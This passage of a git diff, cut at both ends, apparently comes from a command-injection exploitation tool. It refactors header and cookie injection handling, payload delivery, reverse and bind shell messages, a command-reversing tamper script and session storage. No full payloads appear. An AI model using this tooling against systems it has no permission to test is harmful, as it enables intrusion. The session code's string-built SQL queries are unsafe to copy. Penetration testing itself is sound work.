s]) != (len(multi_parameters)): + if len([s for s in multi_parameters if "=" in s]) == 0: + checks.no_parameters_found() _ = [] _.append(cookie) @@ -673,34 +713,54 @@ def specify_cookie_parameter(cookie): try: settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if vuln_parameter not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST - settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[0] + settings.POST_CUSTOM_INJECTION_MARKER_CHAR = pairs[param].split("=")[1].split(settings.INJECT_TAG)[1] except Exception: pass settings.TESTABLE_VALUE = pairs[param].split("=")[1].replace(settings.INJECT_TAG, "") break else: vuln_parameter = cookie + return vuln_parameter """ The user-agent based injection. """ def specify_user_agent_parameter(user_agent): - settings.TESTABLE_VALUE = user_agent.replace(settings.INJECT_TAG, "") + header_name = settings.USER_AGENT + settings.TESTABLE_VALUE = checks.process_custom_injection_data(user_agent).replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) + if settings.CUSTOM_INJECTION_MARKER and settings.INJECT_TAG in settings.TESTABLE_VALUE: + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(header_name) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST + settings.TESTABLE_PARAMETERS_LIST.append(user_agent) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[0] + settings.POST_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[1] return user_agent """ The referer based injection. """ def specify_referer_parameter(referer): - settings.TESTABLE_VALUE = referer.replace(settings.INJECT_TAG, "") + header_name = settings.REFERER + settings.TESTABLE_VALUE = checks.process_custom_injection_data(referer).replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) + if settings.CUSTOM_INJECTION_MARKER and settings.INJECT_TAG in settings.TESTABLE_VALUE: + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(header_name) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST + settings.TESTABLE_PARAMETERS_LIST.append(referer) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[0] + settings.POST_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[1] return referer """ The host based injection. """ def specify_host_parameter(host): - settings.TESTABLE_VALUE = host.replace(settings.INJECT_TAG, "") + header_name = settings.HOST + settings.TESTABLE_VALUE = checks.process_custom_injection_data(host).replace(settings.ASTERISK_MARKER, settings.INJECT_TAG) + if settings.CUSTOM_INJECTION_MARKER and settings.INJECT_TAG in settings.TESTABLE_VALUE: + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(header_name) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST + settings.TESTABLE_PARAMETERS_LIST.append(host) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[0] + settings.POST_CUSTOM_INJECTION_MARKER_CHAR = settings.TESTABLE_VALUE.split(settings.INJECT_TAG)[1] return host """ @@ -708,6 +768,12 @@ def specify_host_parameter(host): """ def specify_custom_header_parameter(header_name): header_name = settings.CUSTOM_HEADER_NAME + if settings.CUSTOM_INJECTION_MARKER: + settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST.append(header_name) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST + settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) if header_name not in settings.CUSTOM_INJECTION_MARKER_PARAMETERS_LIST else settings.TESTABLE_PARAMETERS_LIST + settings.PRE_CUSTOM_INJECTION_MARKER_CHAR = settings.CUSTOM_HEADER_VALUE.split(settings.INJECT_TAG)[0] + settings.POST_CUSTOM_INJECTION_MARKER_CHAR = settings.CUSTOM_HEADER_VALUE.split(settings.INJECT_TAG)[1] + return header_name # eof \ No newline at end of file diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 5613b9f785..8fc20e6d42 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -153,9 +153,9 @@ def estimate_response_time(url, timesec, http_request_method): stored_auth_creds = False if stored_auth_creds and not menu.options.ignore_session: menu.options.auth_cred = stored_auth_creds - info_msg = "Identified a previously stored valid pair of credentials '" - info_msg += menu.options.auth_cred + Style.RESET_ALL + Style.BRIGHT + "'." - settings.print_data_to_stdout(settings.print_bold_info_msg(info_msg)) + info_msg = "Setting pair of credentials '" + info_msg += menu.options.auth_cred + "' from stored session." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) else: # Basic authentication if menu.options.auth_type.lower() == settings.AUTH_TYPE.BASIC: @@ -169,7 +169,7 @@ def estimate_response_time(url, timesec, http_request_method): if do_update in settings.CHOICE_YES: auth_creds = authentication.http_auth_cracker(url, realm, http_request_method) if auth_creds != False: - menu.options.auth_cred = auth_creds + # menu.options.auth_cred = auth_creds settings.REQUIRED_AUTHENTICATION = True break else: @@ -198,7 +198,7 @@ def estimate_response_time(url, timesec, http_request_method): if do_update in settings.CHOICE_YES: auth_creds = authentication.http_auth_cracker(url, realm, http_request_method) if auth_creds != False: - menu.options.auth_cred = auth_creds + # menu.options.auth_cred = auth_creds settings.REQUIRED_AUTHENTICATION = True break else: @@ -253,9 +253,8 @@ def estimate_response_time(url, timesec, http_request_method): timesec = int(timesec) # Against windows targets (for more stability), add one extra second delay. - if settings.TARGET_OS == settings.OS.WINDOWS : - timesec = timesec + 1 - + # if settings.TARGET_OS == settings.OS.WINDOWS : + # timesec = timesec + 1 return timesec, url_time_response """ @@ -327,7 +326,7 @@ def request_failed(err_msg): err_msg += " or rerun without providing them, in order to perform a dictionary-based attack. " else: err_msg += " or rerun by providing option '--ignore-code=" + settings.UNAUTHORIZED_ERROR +"'. " - if settings.MULTI_TARGETS or settings.CRAWLING: + if settings.CRAWLING: err_msg += "Skipping to the next target." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) if not settings.CRAWLING: @@ -416,6 +415,60 @@ def get_request_response(request): return response +""" +Check if target host is vulnerable. +""" +def init_injection(payload, http_request_method, url): + if settings.TIME_RELATIVE_ATTACK: + start = 0 + end = 0 + start = time.time() + + if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: + payload = payload.replace("#","%23") + vuln_parameter = parameters.vuln_GET_param(url) + target = checks.process_injectable_value(payload, url) + # if settings.TESTABLE_VALUE in url.replace(settings.INJECT_TAG, ""): + # target = url.replace(settings.INJECT_TAG, "").replace(settings.TESTABLE_VALUE, payload) + # else: + # target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) + if settings.USER_DEFINED_POST_DATA: + request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) + else: + request = _urllib.request.Request(target, method=http_request_method) + else: + parameter = menu.options.data + parameter = parameters.do_POST_check(parameter, http_request_method) + parameter = ''.join(str(e) for e in parameter).replace("+","%2B") + vuln_parameter = parameters.vuln_POST_param(parameter, url) + if settings.IS_JSON: + data = checks.process_injectable_value(_urllib.parse.unquote(payload.replace("\"", "\\\"")), menu.options.data) + # data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) + try: + data = checks.json_data(data) + except ValueError: + pass + elif settings.IS_XML: + data = checks.process_injectable_value(_urllib.parse.unquote(payload), menu.options.data) + #data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) + else: + data = checks.process_injectable_value(payload, menu.options.data) + # if settings.TESTABLE_VALUE in parameter.replace(settings.INJECT_TAG, ""): + # data = parameter.replace(settings.INJECT_TAG, "").replace(settings.TESTABLE_VALUE, payload) + # else: + # data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) + request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) + headers.do_check(request) + response = get_request_response(request) + + if settings.TIME_RELATIVE_ATTACK: + end = time.time() + response = int(end - start) + else: + exec_time = response + + return response, vuln_parameter + """ Check if target host is vulnerable. (Cookie-based injection) """ @@ -435,9 +488,11 @@ def inject_cookie(url, vuln_parameter, payload, http_request_method): payload = checks.payload_fixation(payload) # payload = payload.replace("+", "%2B") if settings.INJECT_TAG in menu.options.cookie: - request.add_header(settings.COOKIE, menu.options.cookie.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)) - else: - request.add_header(settings.COOKIE, menu.options.cookie.replace(settings.INJECT_TAG, payload)) + cookie = checks.process_injectable_value(payload, menu.options.cookie) + # if settings.TESTABLE_VALUE in menu.options.cookie.replace(settings.INJECT_TAG, ""): + # request.add_header(settings.COOKIE, menu.options.cookie.replace(settings.INJECT_TAG, "").replace(settings.TESTABLE_VALUE, payload)) + # else: + request.add_header(settings.COOKIE, cookie) try: headers.check_http_traffic(request) if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: @@ -609,10 +664,10 @@ def inject_custom_header(url, vuln_parameter, payload, http_request_method): #Check if defined extra headers. headers.do_check(request) payload = checks.newline_fixation(payload) - if settings.INJECT_TAG in settings.CUSTOM_HEADER_VALUE: - request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload)) - else: - request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE + payload) + # if settings.CUSTOM_HEADER_VALUE in settings.CUSTOM_HEADER_VALUE.replace(settings.INJECT_TAG, ""): + # request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE.replace(settings.INJECT_TAG, "").replace(settings.CUSTOM_HEADER_VALUE, payload)) + # else: + request.add_header(settings.CUSTOM_HEADER_NAME, payload) try: headers.check_http_traffic(request) if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: @@ -826,97 +881,49 @@ def url_reload(url, timesec): response = urllib.urlopen(url) return response -""" -Check if target host is vulnerable. -""" -def init_injection(payload, http_request_method, url): - if settings.TIME_RELATIVE_ATTACK: - start = 0 - end = 0 - start = time.time() - - if not settings.USER_DEFINED_POST_DATA or settings.IGNORE_USER_DEFINED_POST_DATA: - payload = payload.replace("#","%23") - vuln_parameter = parameters.vuln_GET_param(url) - target = url.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - if settings.USER_DEFINED_POST_DATA: - request = _urllib.request.Request(target, settings.USER_DEFINED_POST_DATA.encode(settings.DEFAULT_CODEC), method=http_request_method) - else: - request = _urllib.request.Request(target, method=http_request_method) - else: - parameter = menu.options.data - parameter = parameters.do_POST_check(parameter, http_request_method) - parameter = ''.join(str(e) for e in parameter).replace("+","%2B") - vuln_parameter = parameters.vuln_POST_param(parameter, url) - if settings.IS_JSON: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload.replace("\"", "\\\""))) - try: - data = checks.json_data(data) - except ValueError: - pass - elif settings.IS_XML: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, _urllib.parse.unquote(payload)) - else: - data = parameter.replace(settings.TESTABLE_VALUE + settings.INJECT_TAG, settings.INJECT_TAG).replace(settings.INJECT_TAG, payload) - request = _urllib.request.Request(url, data.encode(settings.DEFAULT_CODEC), method=http_request_method) - headers.do_check(request) - response = get_request_response(request) - - if settings.TIME_RELATIVE_ATTACK: - end = time.time() - response = int(end - start) - else: - exec_time = response - - return response, vuln_parameter - """ Calculate the time relative execution time """ def perform_injection(prefix, suffix, whitespace, payload, vuln_parameter, http_request_method, url): # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Fixation for specific payload. - if ")%3B" + ")}" in payload: - payload = payload.replace(")%3B" + ")}", ")" + ")}") - + payload, prefix = parameters.prefixes(payload, prefix) + payload, suffix = parameters.suffixes(payload, suffix) + payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) payload = checks.perform_payload_modification(payload) - + # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL != 0: payload_msg = payload.replace("\n", "\\n") settings.print_data_to_stdout(settings.print_payload(payload_msg)) # Check if defined cookie with "INJECT_HERE" tag - if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie: + if menu.options.cookie and settings.INJECT_TAG in menu.options.cookie or settings.COOKIE_INJECTION: if not vuln_parameter: vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) exec_time = cookie_injection(url, vuln_parameter, payload, http_request_method) + # Check if defined custom header with "INJECT_HERE" tag + elif settings.CUSTOM_HEADER_INJECTION: + if not vuln_parameter: + vuln_parameter = parameters.specify_custom_header_parameter("") + exec_time = custom_header_injection(url, vuln_parameter, payload, http_request_method) # Check if defined user-agent with "INJECT_HERE" tag - elif menu.options.agent and settings.INJECT_TAG in menu.options.agent: + elif (menu.options.agent and settings.INJECT_TAG in menu.options.agent) or settings.USER_AGENT_INJECTION: if not vuln_parameter: - vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) + vuln_parameter = parameters.specify_user_agent_parameter(settings.USER_AGENT.lower()) exec_time = user_agent_injection(url, vuln_parameter, payload, http_request_method) # Check if defined referer with "INJECT_HERE" tag - elif menu.options.referer and settings.INJECT_TAG in menu.options.referer: + elif (menu.options.referer and settings.INJECT_TAG in menu.options.referer) or settings.REFERER_INJECTION: if not vuln_parameter: - vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) + vuln_parameter = parameters.specify_referer_parameter(settings.REFERER.lower()) exec_time = referer_injection(url, vuln_parameter, payload, http_request_method) # Check if defined host with "INJECT_HERE" tag - elif menu.options.host and settings.INJECT_TAG in menu.options.host: + elif (menu.options.host and settings.INJECT_TAG in menu.options.host) or settings.HOST_INJECTION: if not vuln_parameter: - vuln_parameter = parameters.specify_host_parameter(menu.options.host) + vuln_parameter = parameters.specify_host_parameter(settings.HOST.lower()) exec_time = host_injection(url, vuln_parameter, payload, http_request_method) - # Check if defined custom header with "INJECT_HERE" tag - elif settings.CUSTOM_HEADER_INJECTION: - if not vuln_parameter: - vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) - exec_time = custom_header_injection(url, vuln_parameter, payload, http_request_method) else: exec_time, vuln_parameter = init_injection(payload, http_request_method, url) - return exec_time, vuln_parameter + return exec_time, vuln_parameter, payload, prefix, suffix # eof \ No newline at end of file diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index 3b28cfd9ae..2bf67625e6 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -48,14 +48,6 @@ def shell_options(option): else: return option -""" -Success msg. -""" -def shell_success(): - info_msg = "Everything is in place, cross your fingers and check for bind shell (on port " + settings.LPORT + ")." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - - """ Error msg if the attack vector is available only for Windows targets. """ @@ -463,7 +455,7 @@ def bind_tcp_options(separator): elif bind_tcp_option == '1' : bind_tcp_option = netcat_version(separator) if bind_tcp_option.lower() not in settings.SHELL_OPTIONS: - shell_success() + common.shell_success("bind") break elif bind_tcp_option.lower() in settings.SHELL_OPTIONS: return bind_tcp_option @@ -473,7 +465,7 @@ def bind_tcp_options(separator): elif bind_tcp_option == '2' : bind_tcp_option = other_bind_shells(separator) if bind_tcp_option.lower() not in settings.SHELL_OPTIONS: - shell_success() + common.shell_success("bind") break # Check for available shell options elif any(option in bind_tcp_option.lower() for option in settings.SHELL_OPTIONS): diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index 89779a76d0..a373eb1d75 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -63,14 +63,6 @@ def gen_payload_msg(payload): settings.print_data_to_stdout(settings.print_info_msg(info_msg)) -""" -Success msg. -""" -def shell_success(): - info_msg = "Everything is in place, cross your fingers and wait for reverse shell (on port " + settings.LPORT + ")." - settings.print_data_to_stdout(settings.print_info_msg(info_msg)) - - """ Error msg if the attack vector is available only for Windows targets. """ @@ -670,7 +662,7 @@ def reverse_tcp_options(separator): elif reverse_tcp_option == '1' : reverse_tcp_option = netcat_version(separator) if reverse_tcp_option.lower() not in settings.SHELL_OPTIONS: - shell_success() + common.shell_success("reverse") break elif reverse_tcp_option.lower() in settings.SHELL_OPTIONS: return reverse_tcp_option @@ -680,7 +672,7 @@ def reverse_tcp_options(separator): elif reverse_tcp_option == '2' : reverse_tcp_option = other_reverse_shells(separator) if reverse_tcp_option.lower() not in settings.SHELL_OPTIONS: - shell_success() + common.shell_success("reverse") break # Check for available shell options elif any(option in reverse_tcp_option.lower() for option in settings.SHELL_OPTIONS): diff --git a/src/core/tamper/rev.py b/src/core/tamper/rev.py index c57458f03b..c4b952c2b2 100644 --- a/src/core/tamper/rev.py +++ b/src/core/tamper/rev.py @@ -30,12 +30,12 @@ def tamper(payload): if settings.EXPLOITATION_PHASE: - if settings.USER_SUPPLIED_CMD in settings.RAW_PAYLOAD: + if settings.USER_APPLIED_CMD in settings.RAW_PAYLOAD: if settings.USE_BACKTICKS: - rev_cmd = "`echo " + settings.USER_SUPPLIED_CMD[::-1] + "|rev`" + rev_cmd = "`echo " + settings.USER_APPLIED_CMD[::-1] + "|rev`" else: - rev_cmd = "$(echo " + settings.USER_SUPPLIED_CMD[::-1] + "|rev)" - payload = settings.RAW_PAYLOAD.replace(settings.USER_SUPPLIED_CMD, rev_cmd).replace(settings.SINGLE_WHITESPACE, settings.WHITESPACES[0]) + rev_cmd = "$(echo " + settings.USER_APPLIED_CMD[::-1] + "|rev)" + payload = settings.RAW_PAYLOAD.replace(settings.USER_APPLIED_CMD, rev_cmd).replace(settings.SINGLE_WHITESPACE, settings.WHITESPACES[0]) return payload # eof \ No newline at end of file diff --git a/src/utils/common.py b/src/utils/common.py index bfffdc823f..4b07d3f391 100644 --- a/src/utils/common.py +++ b/src/utils/common.py @@ -34,6 +34,13 @@ def invalid_option(option): err_msg = "'" + option + "' is not a valid answer." settings.print_data_to_stdout(settings.print_error_msg(err_msg)) +""" +Success msg. +""" +def shell_success(option): + info_msg = "Everything is in place. Cross your fingers and check for " + option + " shell on port " + settings.LPORT + "." + settings.print_data_to_stdout(settings.print_info_msg(info_msg)) + """ Invalid cmd output """ diff --git a/src/utils/logs.py b/src/utils/logs.py index 4afd94ecfc..1407b5fb95 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -77,7 +77,6 @@ def logs_filename_creation(url): Create log files """ def create_log_file(url, output_dir): - host = _urllib.parse.urlparse(url).netloc.replace(":","_") + "/" logs_path = output_dir + host @@ -99,7 +98,7 @@ def create_log_file(url, output_dir): settings.SESSION_FILE = logs_path + "session.db" # Load command history - if settings.LOAD_SESSION == True: + if settings.LOAD_SESSION == True and os.path.exists(settings.CLI_HISTORY): checks.load_cmd_history() # The logs filename construction. @@ -200,9 +199,11 @@ def log_traffic(header): Print logs notification. """ def print_logs_notification(filename, url): - checks.save_cmd_history() + if os.path.exists(settings.CLI_HISTORY): + checks.save_cmd_history() if settings.SHOW_LOGS_MSG == True and not menu.options.no_logging: - logs_notification(filename) + if not settings.LOAD_SESSION: + logs_notification(filename) if url: session_handler.clear(url) diff --git a/src/utils/menu.py b/src/utils/menu.py index b0f81f24e6..18f9721f78 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -540,8 +540,7 @@ def banner(): detection.add_option("--level", dest="level", - type="int", - default=1, + default=False, help="Level of tests to perform (1-3, Default: " + str(settings.DEFAULT_INJECTION_LEVEL) + ").") detection.add_option("--skip-calc", diff --git a/src/utils/session_handler.py b/src/utils/session_handler.py index 6c92d5f736..28c885b2c7 100755 --- a/src/utils/session_handler.py +++ b/src/utils/session_handler.py @@ -30,6 +30,11 @@ """ no_such_table = False +""" +""" +def split_url(url): + return url.split("?")[0] + """ Generate table name for SQLite3 db. """ @@ -66,8 +71,7 @@ def flush(url): conn.commit() conn.close() except sqlite3.OperationalError as err_msg: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - err_msg = "Unable to flush the session file." + str(err_msg).title() + err_msg = "Unable to flush the session file. " + str(err_msg) settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) else: if settings.VERBOSITY_LEVEL != 0: @@ -82,38 +86,39 @@ def clear(url): try: if no_such_table: conn = sqlite3.connect(settings.SESSION_FILE) - conn.execute("DELETE FROM " + table_name(url) + "_ip WHERE "\ - "id NOT IN (SELECT MAX(id) FROM " + \ - table_name(url) + "_ip GROUP BY technique);") + query = "DELETE FROM " + table_name(url) + "_ip WHERE " + \ + "id NOT IN (SELECT MAX(id) FROM " + \ + table_name(url) + "_ip GROUP BY technique);" + conn.execute(query) conn.commit() conn.close() except sqlite3.OperationalError as err_msg: settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) except: - settings.LOAD_SESSION = False + settings.LOAD_SESSION = None return False """ Import successful injection points to session file. """ -def injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable): +def import_injection_points(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, exec_time, output_length, is_vulnerable): try: conn = sqlite3.connect(settings.SESSION_FILE) conn.execute("CREATE TABLE IF NOT EXISTS " + table_name(url) + "_ip" + \ "(id INTEGER PRIMARY KEY, url VARCHAR, technique VARCHAR, injection_type VARCHAR, separator VARCHAR," \ "shell VARCHAR, vuln_parameter VARCHAR, prefix VARCHAR, suffix VARCHAR, "\ "TAG VARCHAR, alter_shell VARCHAR, payload VARCHAR, http_header VARCHAR, http_request_method VARCHAR, url_time_response INTEGER, "\ - "timesec INTEGER, exec_time INTEGER, output_length INTEGER, is_vulnerable VARCHAR);") + "timesec INTEGER, exec_time INTEGER, output_length INTEGER, is_vulnerable VARCHAR, data VARCHAR, cookie VARCHAR);") conn.execute("INSERT INTO " + table_name(url) + "_ip(url, technique, injection_type, separator, "\ "shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_header, http_request_method, "\ - "url_time_response, timesec, exec_time, output_length, is_vulnerable) "\ - "VALUES(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)", \ + "url_time_response, timesec, exec_time, output_length, is_vulnerable, data, cookie) "\ + "VALUES(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)", \ (str(url), str(technique), str(injection_type), \ str(separator), str(shell), str(vuln_parameter), str(prefix), str(suffix), \ str(TAG), str(alter_shell), str(payload), str(settings.HTTP_HEADER), str(http_request_method), \ int(url_time_response), int(timesec), int(exec_time), \ - int(output_length), str(is_vulnerable))) + int(output_length), str(is_vulnerable), str(menu.options.data), str(menu.options.cookie))) conn.commit() conn.close() if settings.INJECTION_CHECKER == False: @@ -123,7 +128,7 @@ def injection_point_importation(url, technique, injection_type, separator, shell err_msg = str(err_msg)[:1].upper() + str(err_msg)[1:] + "." err_msg += " You are advised to rerun with switch '--flush-session'." settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() + checks.quit(filename, url, _ = False) except sqlite3.DatabaseError as err_msg: checks.error_loading_session_file() @@ -131,117 +136,127 @@ def injection_point_importation(url, technique, injection_type, separator, shell """ Export successful applied techniques from session file. """ -def applied_techniques(url, http_request_method): - try: +def applied_techniques(url, http_request_method): + try: + techniques = [] conn = sqlite3.connect(settings.SESSION_FILE) - if not menu.options.tech: - applied_techniques = conn.execute("SELECT technique FROM " + table_name(url) + "_ip "\ - "ORDER BY id DESC;") - - if settings.TESTABLE_PARAMETER: - applied_techniques = conn.execute("SELECT technique FROM " + table_name(url) + "_ip WHERE "\ - "url = '" + url + "' AND "\ - "vuln_parameter = '" + settings.TESTABLE_PARAMETER + "' AND "\ - "http_request_method = '" + http_request_method + "' "\ - "ORDER BY id DESC ;") - else: - applied_techniques = conn.execute("SELECT technique FROM " + table_name(url) + "_ip WHERE "\ - "url = '" + url + "' AND "\ - "vuln_parameter = '" + settings.INJECT_TAG + "' AND "\ - "http_request_method = '" + http_request_method + "' "\ - "ORDER BY id DESC ;") - values = [] - for session in applied_techniques: - if "tempfile" in session[0][:8]: - settings.TEMPFILE_BASED_STATE = True - session = session[0][4:] - elif "dynamic" in session[0][:7]: - settings.EVAL_BASED_STATE = True - session = session[0][13:] - values += session[0][:1] - applied_techniques = ''.join(list(set(values))) - return applied_techniques + query = "SELECT * FROM sqlite_master WHERE name = '" + table_name(url) + "_ip' AND type = 'table';" + result = conn.execute(query) + if result: + query = "SELECT * FROM " + table_name(url) + "_ip WHERE url like '%" + split_url(url) + "%';" + cursor = conn.execute(query).fetchall() + if cursor: + for session in cursor: + if session[2] == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + technique = session[2].split()[2][0] + else: + technique = session[2][0] + techniques.append(technique) + techniques = list(set(techniques)) + techniques = "".join(str(x) for x in techniques) + return techniques except sqlite3.OperationalError as err_msg: - #settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - settings.LOAD_SESSION = False - return False + settings.LOAD_SESSION = None + return techniques except: - settings.LOAD_SESSION = False - return False + settings.LOAD_SESSION = None + return techniques """ -Export successful applied techniques from session file. +Export successful applied injection level from session file. """ def applied_levels(url, http_request_method): + level = settings.DEFAULT_INJECTION_LEVEL + try: + conn = sqlite3.connect(settings.SESSION_FILE) + query = "SELECT * FROM sqlite_master WHERE name = '" + table_name(url) + "_ip' AND type = 'table';" + result = conn.execute(query) + if result: + query = "SELECT * FROM " + table_name(url) + "_ip WHERE url like '%" + split_url(url) + "%';" + cursor = conn.execute(query).fetchall() + if cursor: + for session in cursor: + http_header = session[12] + level = int(session[18]) + if http_header: + if http_header == settings.COOKIE.lower(): + level = settings.COOKIE_INJECTION_LEVEL + else: + level = settings.HTTP_HEADER_INJECTION_LEVEL + return level + except sqlite3.OperationalError as err_msg: + settings.LOAD_SESSION = None + return level + except: + settings.LOAD_SESSION = None + return level + +""" +Export successful injection points from session file. +""" +def check_stored_injection_points(url, check_parameter, http_request_method): + _ = False try: + techniques = [] conn = sqlite3.connect(settings.SESSION_FILE) - if settings.TESTABLE_PARAMETER: - applied_level = conn.execute("SELECT is_vulnerable FROM " + table_name(url) + "_ip WHERE "\ - "url = '" + url + "' AND "\ - "vuln_parameter = '" + settings.TESTABLE_PARAMETER + "' AND "\ - "http_request_method = '" + http_request_method + "' "\ - "ORDER BY id DESC;") + query = "SELECT * FROM sqlite_master WHERE name = '" + table_name(url) + "_ip' AND type = 'table';" + result = conn.execute(query).fetchall() + # vuln_parameter = check_parameter + if result: + query = "SELECT * FROM " + table_name(url) + "_ip WHERE url like '%" + split_url(url) + "%';" + cursor = conn.execute(query).fetchall() + if cursor: + for session in cursor: + url = session[1] + if session[2] == settings.INJECTION_TECHNIQUE.DYNAMIC_CODE: + technique = session[2].split()[2][0] + else: + technique = session[2][0] + if technique in menu.options.tech: + _ = True + techniques.append(technique) + cookie = session[20] + if cookie: + if settings.INJECT_TAG in cookie: + settings.COOKIE_INJECTION = True + menu.options.cookie = cookie + techniques = list(set(techniques)) + techniques = "".join(str(x) for x in techniques) + if _: + vuln_parameter = session[6] + settings.LOAD_SESSION = True + settings.INJECTION_CHECKER = True + if not settings.MULTI_TARGETS: + settings.TESTABLE_PARAMETERS_LIST.append(vuln_parameter) + return url, vuln_parameter + else: + settings.LOAD_SESSION = False + return url, vuln_parameter else: - applied_level = conn.execute("SELECT is_vulnerable FROM " + table_name(url) + "_ip WHERE "\ - "url = '" + url + "' AND "\ - "vuln_parameter = '" + settings.INJECT_TAG + "' AND "\ - "http_request_method = '" + http_request_method + "' "\ - "ORDER BY id DESC;") - - for session in applied_level: - return session[0] - + settings.LOAD_SESSION = None + return url, check_parameter except sqlite3.OperationalError as err_msg: - #settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - settings.LOAD_SESSION = False - return False + settings.LOAD_SESSION = None + return url, check_parameter except: 